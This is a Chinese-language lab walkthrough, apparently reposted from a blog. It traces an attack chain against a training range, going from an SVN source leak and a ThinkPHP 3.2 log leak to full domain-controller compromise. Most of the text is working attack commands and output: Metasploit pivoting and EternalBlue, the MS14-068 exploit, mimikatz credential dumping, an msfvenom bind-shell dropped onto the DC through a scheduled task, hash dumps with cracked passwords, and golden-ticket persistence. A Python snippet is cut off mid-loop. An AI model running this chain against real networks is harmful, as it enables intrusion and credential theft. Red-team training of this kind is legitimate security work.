从外网Thinkphp3日志泄露到杀入内网域控 | 您所在的位置:网站首页 › thinkphp日志包含漏洞 › 从外网Thinkphp3日志泄露到杀入内网域控 |
环境 DC域控:10.10.10.149 WEB:192.168.2.27(外网)、10.10.10.150(内网) Kali:192.168.2.28 本文知识点: svn源码泄露 thinkphp3日志泄露 贷款后台getshell msf下的内网渗透 ms16-048提权到域控 黄金票据 主机发现 信息搜集 首先使用nbtscan对内网进行扫描,发现靶机ip为192.168.2.27: nbtscan -r 192.168.2.4/24![]() 之后对靶机进行端口扫描: nmap -A 1-65535 -sV 192.168.2.27![]() 由上图可知,目标开放了80端口,其中用的是phpstudy搭建的网站,用ip打开发现是一个403: ![]() 那么对其扫描目录看看有没有敏感文件: dirb http://192.168.2.27/![]() 并没有扫描到可利用的文件,估计是字典问题。 由于上面扫描结果发现目标有一个域名:webhack123.com,我们访问其看发现是一个贷款网站: ![]() 使用whatweb查看网站信息:发现是ThinkPHP框架: ![]() 之后继续进行目录扫描: dirb http://www.webhack123.com![]() 发现一个 svn 目录,有可能是 svn 文件泄露! svn 文件泄露漏洞 之后使用 github 上的利用工具进行利用:https://github.com/admintony/svnExploit python SvnExploit.py -u http://www.webhack123.com/.svn![]() 下载目标源码: python SvnExploit.py -u http://www.webhack123.com/.svn --dump![]() 其中发现一个wc.db数据库文件: ![]() 那么我们就可以打开这个文件查看数据库:里面有网站文件 sqlitebrowser wc.db![]() 看着目录结构应该是tp低版本的,反正不可能是tp5: 其中发现有很多日志文件: ![]() ![]() thinkphp3.2日志泄露漏洞 由于是tp低版本的,我在网上找到了一个日志泄露漏洞:https://blog.csdn.net/Fly_hps/article/details/84994290 发现当前的tp版本是:tp3.2 THINKPHP3.2 结构:Application\Runtime\Logs\Home\16_09_09.log THINKPHP3.1结构:Runtime\Logs\Home\16_09_09.log由于这个版本的thinkphp的错误日志里会显示出数据库的sql执行信息,而我们要找的是数据库密码、网站后台登陆密码,这样才能对我们有利用价值,而且我们看日志只需要看最新的日志,因为考虑到目标可能更改了密码,而最新的密码是不会更改的! 其中最新的日志是App/Runtime/Logs/19_03_18.log: ![]() 通过crlt+f快速锁定password,得到一些账号和密码哈希值: admin 10470c3b4b1fed12c3baac014be15fac67c6e815 18888888888 10470c3b4b1fed12c3baac014be15fac67c6e815![]() 解密之后得到明文为:123456 ![]() 既然拿到管理员后台账号密码了,我们就去找后台地址吧! 后台查找 一般来说我们找网站后台无非几种方法: 目录查找:一般的目录是 /admin,/login ...子域名查找:admin.saulgoodman.cn,user.saulgoodman.cn ...Host碰撞子域名:这种不常见,渗透过程中需要绑定hosts才能访问的弱主机或内部系统(适用于靶场、CTF)因为之前我们对他进行目录扫描了,没有找到后台地址,那么还有子域名和Host碰撞子域名。 而子域名的话由于是靶场,一般来说没得,只能通过ip碰撞的形式,就是下面的方法。 所以我们采用第三种方式:ip-host碰撞查找子域名 Host_Ip碰撞工具:https://github.com/fofapro/Hosts_scan host.txt里填写的是要碰撞的子域名:webhack123.com,admin... 可以自行添加字典! ip.txt里填写的是目标的ip:192.168.2.27 ![]() 运行完后,能访问到的子域名会在本地的host_ok.txt保存: ![]() 可以看到上图,只有admin.webhack123.com的子域名是200状态码,那么我们修改一下我们的hosts文件才可以访问: vi /etc/hosts![]() 这个时候就能访问:admin.webhack123.com ![]() 这个时候通过之前拿到的后台密码发现登陆失败: ![]() 有两种情况: 目标密码根本不是我们之前获取到的密码日志不是2020年的导致我们获取到的密码不对回炉再造之峰回路转重新查找目标日志,由于之前我找到的是19年的日志,密码不对,因此我们写一个python脚本来锁定20年的日志: #coding:utf-8 import requests url ="http://www.webhack123.com/App/Runtime/Logs" def add_urls(patch,y): urls=[] for i in range(1,7): for j in range(1,32): if i msv [+] Running as SYSTEM [*] Retrieving msv credentials msv credentials =============== AuthID Package Domain User Password ------ ------- ------ ---- -------- 0;996 Negotiate HACKBOX WEB$ lm{ 00000000000000000000000000000000 }, ntlm{ 9c85552a37071a3d5cb1323478044b0d } 0;47706 NTLM lm{ 00000000000000000000000000000000 }, ntlm{ 9c85552a37071a3d5cb1323478044b0d } 0;423161 NTLM WEB Administrator lm{ c6125126643bbe191e929ffc01395127 }, ntlm{ 086a0bb1ed4ec72250760ea531bf8074 } 0;997 Negotiate NT AUTHORITY LOCAL SERVICE n.s. (Credentials KO) 0;999 Negotiate HACKBOX WEB$ n.s. (Credentials KO为了验证一下我们查看一下目标:ipconfig /all,发现目标是存在域环境的,主机名是:web,域是:hackbox.com,并且目标是有双网卡,有一个内网网卡,内网ip为:10.10.10.150,其中dns服务器是:10.10.10.149 ![]() 一般情况下,域控制器的ip地址就是dns服务器ip,10.10.10.149这个ip有可能是域控制器的ip! 如果不是的话,我们还可以通过MSF的模块来搜集域内信息: # 查看是不是域环境 run post/windows/gather/enum_domain![]() 当前的域是:hackbox,dc(域控制器)的ip为 69.172.201.153,这个ip是一个外网ip,由于是靶机的情况下,他找不到内网ip,就只能找外网的了,我们不用管。 通过域内信息搜集,发现hackbox域内只有两个主机:dc、web,而web是当前我们拿到权限的的主机:10.10.10.150,而dc应该就是:10.10.10.149:net view /domain:hackbox ![]() 这个时候ping一下dc就直接确定了dc的ip为:10.10.10.149: ![]() 之后我们需要做域内渗透,由于我们kali不能直接访问目标的内网,那么我们就需要做一层路由代理,才能对目标内网进行渗透! 添加路由: run autoroute -s 10.10.10.0/24![]() 然后进行socks代理: use auxiliary/server/socks4a![]() 再设置 proxychains: vi /etc/proxychains.conf![]() 这样就能对它内网进行渗透了,在使用工具的时候,命令前面加一个:proxychains PS:proxychains不支持udp和icmp协议,因此我们需要对目标进行tcp扫描! 对域控进行端口扫描: proxychains nmap -sT -Pn 10.10.10.149![]() 发现目标开启了445端口,看看有没有ms17010: auxiliary/scanner/smb/smb_ms17_010 set rhosts 10.10.10.149 run![]() 发现目标存在永恒之蓝! 随其进行ms17010漏洞利用:(由于目标是内网,不能出网,我们只能设置正向的payload,类似于cs的中转上线) use exploit/windows/smb/ms17_010_eternalblue set rhosts 10.10.10.149 set payload windows/meterpreter/bind_tcp exploit![]() 但是利用失败了:(ms17017有的时候就有点玄学) ![]() 这个时候我们可以尝试kerberos域用户提取的漏洞:ms14-068,他能够将域内任意用户提取到域管理员! 关于这个漏洞大家可以去我公众号:渗透攻击红队查看相关文章,我之前有写过! Ms14-068 提权到域控 由于之前我们获取到了web的密码为:!@#Qwe456,然后尝试进行远程桌面登陆域用户:发现登陆失败,域用户web应该是没有远程桌面的权限的 ![]() 但是我们可以通过登陆它的工作组: .\administrator !@#Qwe456![]() 那么我们之间吧ms14-068.exe上传到目标web的主机上: upload /root/ms14-068.exe C:/phpstudy_pro/WWW/www.webhack123.com/ms14-068.exe![]() 然后切换到ms14-068.exe那个文件的目录下: cd C:\phpstudy_pro\WWW\www.webhack123.com\ chcp 65001 # 设置一下字符编码![]() 由于使用ms14-068需要一个域用户的账号密码,和域用户的sid,以及域控的ip,而我们没有sid,那么我们需要使用msf查看域用户web的sid: run post/windows/gather/enum_logged_on_users![]() 之后就可以使用ms14-068进行攻击了: user:hackbox\web pass:!@#Qwe456 sid:S-1-5-21-2005268815-658469957-1189185684-1103 命令如下: ms14-068.exe -u [email protected] -p !@#Qwe456 -s S-1-5-21-2005268815-658469957-1189185684-1103 -d 10.10.10.149![]() 生成的票据为:[email protected]。 之后就可以使用mimikatz进行攻击了,由于msf下的mimikatz是阉割版,功能只有几个: ![]() 所以我们需要上传一个mimikatz到目标机器上进行攻击: upload /root/mimikatz.exe C:/phpstudy_pro/WWW/www.webhack123.com/ upload /root/mimidrv.sys C:/phpstudy_pro/WWW/www.webhack123.com/ upload /root/mimilib.dll C:/phpstudy_pro/WWW/www.webhack123.com/![]() 之后进入到mimikatz的目录进行攻击: mimikatz.exe # 清楚目标内存中的所有票据 kerberos::purge![]() ![]() PS:这个票据只能用7天,之后就不能使用了! 这个时候,我们就可以通过dir命令查看到目标域控的文件了: dir \\dc\c$![]() 最后可以使用定时任务让目标dc上线到msf,而我们要生成一个木马让目标上线,注意这里生成的木马需要是正向的,不然目标上线不了: msfvenom -p windows/meterpreter/bind_tcp lport=10000 -f exe >10000.exe![]() 然后吧10000.exe先上传到web主机上,之后再上传到目标dc机器上: upload /root/10000.exe C:/phpstudy_pro/WWW/www.webhack123.com/![]() ![]() 接下来使用copy命令吧4567.exe上传到dc的c盘下: copy 10000.exe \\dc\c$\10000.exe![]() 由于我们使用的是at定时任务让dc执行,那么我们需要知道目标系统的时间: net time \\dc![]() 那么我们让他创建一个定时任务: # 让dc再4.35的时候执行c盘下的10000.exe at \\dc 16:47 c:/10000.exe![]() 最后使用MSF设置监听等待上线: use exploit/multi/handler set payload windows/meterpreter/bind_tcp set lport 10000 set rhost 10.10.10.149 exploit![]() 上线成功,我们先迁移进程到服务:(维持权限) ![]() 之后使用模块抓取dc的密码hash: meterpreter > run post/windows/gather/smart_hashdump [*] Running module against DC [*] Hashes will be saved to the database if one is connected. [+] Hashes will be saved in loot in JtR password file format to: [*] /root/.msf4/loot/20201115171547_default_10.10.10.149_windows.hashes_505928.txt [+] This host is a Domain Controller! [*] Dumping password hashes... [+] Administrator:500:aad3b435b51404eeaad3b435b51404ee:ccef208c6485269c20db2cad21734fe7 [+] krbtgt:502:aad3b435b51404eeaad3b435b51404ee:6f60ace6accbcb76078ccc0312174e98 [+] web:1103:aad3b435b51404eeaad3b435b51404ee:086a0bb1ed4ec72250760ea531bf8074 [+] DC$:1000:aad3b435b51404eeaad3b435b51404ee:b5687482bfafb113dc345bb46ef81d69 [+] WEB$:1104:aad3b435b51404eeaad3b435b51404ee:9c85552a37071a3d5cb1323478044b0d![]() 加载mimikatz抓取域控明文密码: wdigest![]() 密码是:Admin12345,到这一步我们的渗透已经完成%99了! 只要我们愿意,我们就可以登陆它的远程桌面(一般别用,你们懂的) 结尾 - 黄金票据 最后如果对方改密码了,我们可以通过创建一个黄金票据来进行权限维持: 我们先回到web的session,然后加载mimikatz和kimi吧web内存中的票据清除: load mimikatz load kiwi kerberos_ticket_purge![]() 这样就不能访问到目标dc了! ![]() 黄金票据需要获取域名称、域的sid、域控的Krbtgt账号的密码hash值,任意域用户! wmic useraccount where name="krbtgt" get sid S-1-5-21-2005268815-658469957-1189185684-502![]() 还有一种方法获取sid: meterpreter > dcsync_ntlm krbtgt [+] Account : krbtgt [+] NTLM Hash : 6f60ace6accbcb76078ccc0312174e98 [+] LM Hash : 36588bd35fd1fe85ec5fd73a1ca6805b [+] SID : S-1-5-21-2005268815-658469957-1189185684-502 [+] RID : 502由于我们是系统权限,我们需要切换到域管到权限才能执行下面的命令: ![]() ![]() 之后就可以制作黄金票据了: 域名:hackbox.com 域用户:web krbtgt的sid:S-1-5-21-2005268815-658469957-1189185684-502 krbtgt的ntlm-hash:6f60ace6accbcb76078ccc0312174e98使用命令导出票据: golden_ticket_create -d hackbox.com -u web -s S-1-5-21-2005268815-658469957-1189185684 -k 6f60ace6accbcb76078ccc0312174e98 -t /root/krbtgt.ticket -k ntlm-hash -s krbtgt的sid -t 导出票据的目录 sid后面的502不需要写在命令里![]() 拿到票据之后我们先切换到web的session,可以看到我们现在是无法访问到dc的: ![]() 我们接下来就可以导入黄金票据: kerberos_ticket_use /root/krbtgt.ticket![]() 这个时候我们就可以一直访问得到dc了: ![]() 最终在域控下拿到了flag: ![]() ![]() |
CopyRight 2018-2019 实验室设备网 版权所有 |